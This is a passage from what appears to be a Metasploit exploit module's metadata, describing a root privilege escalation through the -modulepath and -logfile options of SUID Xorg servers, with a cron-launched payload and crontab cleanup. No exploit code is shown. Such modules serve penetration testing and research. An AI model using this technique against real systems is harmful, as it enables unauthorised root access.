'Name' => 'Xorg X11 Server SUID privilege escalation',
'Description' => %q{
This module attempts to gain root privileges with SUID Xorg X11 server
versions 1.19.0 < 1.20.3.
A permission check flaw exists for -modulepath and -logfile options when
starting Xorg. This allows unprivileged users that can start the server
the ability to elevate privileges and run arbitrary code under root
privileges.
This module has been tested with OpenBSD 6.3, 6.4, and CentOS 7 (1708).
CentOS default install will require console auth for the users session.
Cron launches the payload so if Selinux is enforcing exploitation
may still be possible, but the module will bail.
Xorg must have SUID permissions and may not start if running.
On exploitation a crontab.old backup file will be created by Xorg.
This module will remove the .old file and restore crontab after
successful exploitation. Failed exploitation may result in a corrupted
crontab. On successful exploitation artifacts will be created consistant
with starting Xorg and running a cron.
